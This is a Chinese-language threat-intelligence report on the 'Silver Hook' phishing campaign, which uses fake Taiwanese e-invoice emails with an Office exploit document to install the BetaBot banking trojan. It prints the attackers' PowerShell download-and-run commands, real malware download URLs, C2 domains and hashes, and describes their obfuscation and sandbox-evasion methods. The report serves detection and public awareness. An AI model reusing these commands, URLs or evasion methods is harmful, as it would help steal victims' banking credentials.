概述
电信网络诈骗犯罪让民众蒙受巨大损失。在持续高发的电信网络诈骗案中,不法分子依托电信互联网络,利用各种技术手段,假冒亲属朋友、公职人员,跨国、跨境、跨区域诱骗群众、诈骗钱财。
而在这些案例中,利用电子发票通知函为主题的钓鱼邮件攻击手段历史已久,就如此前我们捕获的以顺丰电子发票为主题的钓鱼邮件,该类钓鱼邮件的附件和链接打开后其实为一个钓鱼网站,用于进行用户账号密码盗取。
而这类攻击背后,往往是一个装备精良,组织有序的黑产团伙在进行运营活动,而投放钓鱼邮件进行攻击仅仅是团伙在这条黑色产业链上的一部分。
而奇安信威胁情报中心红雨滴安全研究团队于近日捕获的一封钓鱼邮件的攻击手法却有所不同,其使用了附件为漏洞利用文档的手法进行攻击,试图通过漏洞触发后的木马感染用户电脑,从而窃取个人资产。由于本次攻击涉及目标为经商人员,且中招人员涉及中国台湾等多省份,因此在判定攻击具有针对性后,我们对攻击进行剖析以及攻击者背景进行研判后向公众进行细节披露,希望公众增强对钓鱼邮件的真伪识别能力。
基于我们对团伙历史活动的总结,从2019年4月15日开始进行的样本测试,到整个5月的攻击活动,无不体现出这起攻击背后的黑产团伙对于武器部署到运用的经验之丰富。由于攻击背后的团伙最终目的为针对电信和经商用户的银行账号进行财产窃取,因此我们将该团伙命名为:银钩,意指利用银行木马作为诱饵,等待猎物上钩之意。国外安全公司Cybereason在2018年10月曾对此团伙的活动做过分析揭露,其最早被发现的活动早在2012年,我们当前观察到的为其最新的攻击活动。
诱饵分析
红雨滴安全研究团队初始捕获的银钩组织样本为针对中国台湾省的eml文件:“中華電信108年05月電子發票通知函_[發票號碼:NJ06424209].eml” 。
邮件内容可见,攻击者为了引诱受害者打开附件文档,故意将邮件中的兑奖方式标红,使得受害者有打开电子发票查看信息的欲望,同时对于经商人员来说,发票是一个重要报销手段,因此同样有理由打开附件文档。
图1.1 截获到的邮件截图
发送的附件是一个以发票编号为名的doc文件,而该附件使用了CVE-2018-11882漏洞;通过奇安信多维度数据的关联分析,确认本波攻击中大陆也有很多受害者,而受害者一般做外贸生意,且经常使用网银。
图1.2 标记为CVE-2018-11882漏洞
通过对邮件分析,可以发现其伪造中華電信電子發票 <[email protected]>的官方邮箱代发,而实际发件人为:[email protected];
图1.3 邮件头截图
样本分析
对上述样本的技术分析显示其最后会加载一个BetaBot木马,并与C2连接实现远程控制,控制操作受害者的电脑窃取用户网银中的钱。
RTF文件分析
样本中包含的RTF是经过简单混淆的文件,使用红雨滴团队的分析工具提取出shellcode后进行分析。
图2.1 RTF文件内容截图
图2.2提取出来的stream为Equation2版本
Shellcode会通过调用rundll32 javascript:”\..\mshtml,RunHTMLApplication去执行一个远程的HTA文件:
图2.2 RunHTMLApplication执行远程HTA文件
和0xa6异或解密js的下载地址,地址为pastebin上的一个地址:
https://pastebin.com/raw/1fFneMx6
图2.3 xor出js的下载地址
该js的内容会执行一段powershell命令。
图2.4 js的内容
Base64解码出powershell命令的功能为从如下的URL下载femi.exe到temp的nvbackend.exe并通过js脚本执行起来:
| iex ((new-object net.webclient).downloadfile(“http://asia-kunsthandwea1-online.com/cs/femi.exe”,”$env:temp\nvbackend.exe”)); |
从远程地址下载回来femi.exe,进行分析。
femi.exe分析
MD5:6B4384B706D7FA925BDCEEB5B21C855C
该样本是nsis打包的一个文件,主要是为了躲避杀毒软件的静态查杀,该文件会释放一个foreandafters.dll,并通过nsis加载起来;而“Infamy”这个文件是加密的数据文件,后续会被foreandafters.dll和shellcode多次解密并加载。
图3.1 femi.exe的nsis结构
图3.2 nsis脚本加载foreandafters.dll
foreandafters.dll分析
MD5:6e17b30ff21d147b4b11329b0e88d0f7
该dll的导出模块名为_UseBayonet64.dll,导出表为cmpint:
图4.1 foreandafters.dll的PE信息
该dll的代码中加入了大量垃圾指令:
图4.2 加入大量垃圾指令的代码
图4.3 加入大量垃圾指令的代码
0x10003010处的数据异或0x1a解密出shellcode并执行:
图4.4 解密0x10003010处的shellcode
执行shellcode的入口Call,传递的参数指针为0x12fb64,其中包括GetProcAddress的地址、GetModuleHandleA的地址和“Infamy”字符串的地址:
图4.5 传递的参数指针的内容
被执行起来的shellcode首先会读取“Infamy”文件的内容,从该文件的偏移0x0->0x22d取出XOR的Key(共0x22d字节的key);和后续的0x22d->0x22d+0x4c00+0x918的数据单字节异或解密出shellcode,传递kernel32.dll的基址和GetProcAddress的地址,并直接Call shellcode 0x855偏移处的代码(这次使用的数据大小为0x22d+0x4c00+0x918=0x5745;大概为21kb,而“Infamy”文件总大小为303kb,后面的数据会在后面的shellcode中被多次解密使用):
图4.6 解密文件并执行shellcode
执行的第二层shellcode的0x855偏移函数,传递的参数是一个指针;该指针包括:
第一个int:kernel32的基地址
第二个int:GetProcAddress的地址
第三个int:读取到的“Infamy”文件的内容的地址
第四个int:后续代码在Infamy内容中的偏移,就是前面解密shellcode的末尾
图4.7 为第二层shellcode传递的参数指针
第二层shellcode从解密后的数据的0x855偏移处执行,里面包含很多拼串的代码:
图4.8 第二层shellcode的入口处
第二层shellcode会在内存加载一个dll:
图4.9 第二层shellcode在内存中加载的dll
加载的dll名字为:AlienwareAlienFXTester.resources.dll
AlienwareAlienFXTester.resources.dll分析
MD5:7535b629bc5cc8d4aad65d0d34c84fd3
版本信息伪装成Alienware AlienFX的信息:
图5.1 AlienwareAlienFXTester.resources.dll的版本信息
该dll的大部分代码也跟foreandafter.dll一样,同样插入了很多垃圾指令:
图5.2 大量垃圾指令的AlienwareAlienFXTester.resources.dll
该dll刚开始会通过调用CryptDecrypt 10万次,来起到Sleep的作用:
图5.3 延时执行代码的函数
然后会同样读取同目录下的“Infamy”文件,并定位到0x5745的位置。
图5.4 读取同目录下“Infamy”文件
先用“Infamy”和前面的557字节循环异或生成一个557字节的字典:
图5.5 循环异或生成字典
用生成的字典循环异或解密下面的数据:
图5.6密钥解密后续数据
解密后的shellcode又会被在内存中加载起来:
图5.7 执行shellcode
该shellcode传递的参数分别为:待注入的exe的地址、exe长度和一些API的地址:
图5.8 shellcode传递的参数
该shellcode执行起来后,会起来一个nslookup.exe傀儡进程,并把该EXE写入到nslookup的进程空间中执行:
图5.9 shellcode执行起来的傀儡进程
被写入到傀儡进程中的EXE文件MD5为:1f24cb3c78041fb51455369e03732258,这就是BetaBot家族的银行木马。
BetaBot家族样本分析
该样本的MD5为:1f24cb3c78041fb51455369e03732258,是一个EXE文件:
图6.1 exe入口处代码
首先会检测虚拟机,如果在虚拟机运行,会一直等待下去,并不会执行后面的代码;虚拟机的字符串解密算法为单字节异或0x7a,通过枚举Services服务的注册表键值是否包含VMTools、VBoxGuest和VMware, Inc 来判断是否在虚拟机中:
图6.2 检测虚拟机代码
然后会从自身文件头位置开始查找,和一个16字节的特征去比较,找到待解密的数据的offset,得到后取offset:0x33的值为异或密钥,从offset:0x34处开始解密数据,数据长度为offset:0x17-0x20的值:
图6.2 从自身文件查找资源文件
图6.3 解密并解压数据
使用XOR解密并解压后,发现是一个PE文件,该PE会在内存中加载起来,并连接C2:kkrudy[.]com:
图6.4 解密后的PE
内存中解密的该exe是一个远控文件,提过提取字符串,看到一些检测杀软的字符串:
图6.5 BetaBot木马中检测杀软的字符串
通过对该木马的一些特征字符串的搜索,发现一个木马配置器有同样的字符串,通过该配置器配置出来一个木马文件,该配置器的标题为BetaBotBuilderGUI,猜测为BetaBot家族的木马配置器:
图6.6 BetaBot木马配置器
通过比较发现这个木马和前面分析的EXE木马的文件完全一样,所以之前分析的EXE是BetaBot家族的银行木马:
图6.7 BetaBot配置器生成的BetaBot木马
该家族远控的控制界面为Web版本:
图6.8 BetaBot WEB控制端
通过对恶意代码的分析,绘制该恶意代码的执行流程图如下:
图6.9 该恶意代码执行流程图
Betabot(又名Neurevt),是一种复杂的恶意软件,自2012年底首次出现以来发生了重大变化。Betabot最初是作为银行恶意软件出现的,后来演变为密码窃取者。最终,它变成了一个能够提供勒索软件的僵尸网络。
Betabot的主要功能包括:
1、浏览器用户凭据抓取器(Form grabbing)
2、FTP和邮件客户端窃取模块
3、盗窃银行账号模块
4、运行DDOS攻击
5、USB感染模块
6、强大的用户态Rootkit(x86 / x64)
7、通过shell执行任意命令
8、能够下载其他恶意软件
9、驻留自身在系统
10、虚拟货币挖矿模块(2017年新增)
11、分发勒索软件
该恶意软件已在地下黑市上做广告进行销售,售价约为120美元。然而,由于最近发现了Betabot生成器的破解版本,因此其他网络犯罪分子都可以直接利用Betabot生成器构造样本而不从作者处购买,因此导致Betabot的变种增加。
分析溯源
由于该木马作者使用pastebin存放hta payload,所以通过搜索pastebin,发现一些攻击者的蛛丝马迹,找到另外一个payload,创建时间分别为5月6日和5月12日:
图7.1 通过pastebin搜到的2个同源脚本
5月6日的那个脚本的powershell命令如下,该文件是一个白的putty样本,所以应该是攻击者在攻击前的测试:
| iex ((new-object net.webclient).downloadfile(“https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe”,”$env:temp\nvbackend.exe”)); |
图7.2 pastebin搜到的攻击者的测试脚本
Pastebin上存的有创建时间和访问次数:
图7.3 pastebin链接的内容
统计信息显示攻击者最近2个月一直在活跃,从4月15开始,5月28的时候还在活跃(标绿色的为测试链接),大部分下载链接的网站都是被黑的网站或者攻击者的虚拟空间,攻击者把EXE放到上面去:
图7.4 pastebin关联到的同源样本
创建时间 | 访问次数 | 下载链接 | 落地文件 | pastbin链接 |
MAY 28TH, 2019 | 181 | http://imhafiz.info/iyk.exe | $env:temp\bakdraw.exe | |
MAY 21ST, 2019 | 205 | http://asia-kunsthandwea1-online.com/cs/femi.exe | $env:temp\nvbackend.exe | |
MAY 12TH, 2019 | 83 | https://theearth.li/~sgtatham/putty/latest/w64/putty.exe | $env:temp\nvbackend.exe | |
MAY 12TH, 2019 | 188 | $env:temp\nvbackend.exe | ||
MAY 9TH, 2019 | 205 | http://empire-eyewear.com/logs/81.exe | $env:temp\nvbackend.exe | |
APR 15TH, 2019 | 225 | http://krosnovunderground.se/smfbk.exe | $env:temp\svchost.exe | |
APR 28TH, 2019 | 117 | http://shapemix.com/downloads/temp/john.exe | $env:temp\vnchost.exe |
除了存放在pastebin上之外,还会把HTA脚本放到被黑的网站上;
比如如下的样本:
文件名:rfq-alp19-smkb-93790.doc
MD5:99cdf54fd36d5eb9378d3060b709a261
HTA文件存在https://silversplash925.com/windows/uloti.hta这个链接上。
图7.5 shellcode解密出来的hta下载地址
图7.6 hta文件于5月28日上传到该网站
从HTA脚本中提取到下一阶段的exe的地址为:
http://www[.]medicmanual[.]com/ecom/RFQ-ALP19-SMKB-93790.exe
图7.7 NSIS解包后的RFQ-ALP19-SMKB-93790.exe文件
而该网站是一个卖珠宝钻石的网站:
图7.8 被黑的网站主页
另外攻击者也会直接以EXE的形式投递的恶意代码,伪装订单信息,后缀为-JPG:
文件名:NEW PO -JPG.exe
MD5:371f8753efa5ed1f90c55211b8631e5e
LoadDll名:buttonholes.dll
图7.9 VT关联到的exe形式投递的样本
下表为找到的NSIS类型的Dropper的统计信息,“Load Dll”表示NSIS包里加载shellcode的dll的名字;通过shellcode的创建时间可以推测攻击者的活跃时间一般是在每天的3到10点左右:
MD5 | 文件名 | 修改时间 | 备注 | 文件名翻译 |
0e5c975fb6cbd4569b494b2d92a585f7 | crosspollination.dll | 2011/5/13 4:20 | Load Dll | 授粉 |
d41d8cd98f00b204e9800998ecf8427e | executors.dll | 2011/5/15 6:18 | Load Dll | 遗嘱执行人 |
e9f0406091c6e24979d02df7e6af742c | limerick.dll | 2011/5/16 8:54 | Load Dll | 五行打油诗 |
d2744e209d4f6fd05b07473547829729 | bogtrotters.dll | 2011/5/19 4:28 | Load Dll | bogtrotters |
0b5dbd2725bc7b0697f9ddeab360920f | enlightened.dll | 2011/5/20 11:08 | Load Dll | 开明 |
6e17b30ff21d147b4b11329b0e88d0f7 | adlibs.dll | 2011/5/21 3:51 | Load Dll | 广告库 |
e21867fcff7cae00745fb0f90db36131 | Orsino.dll | 2011/5/23 18:45 | Load Dll | |
| 本文出处: https://www.anquanke.com/post/id/179908 | ||||
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|





















































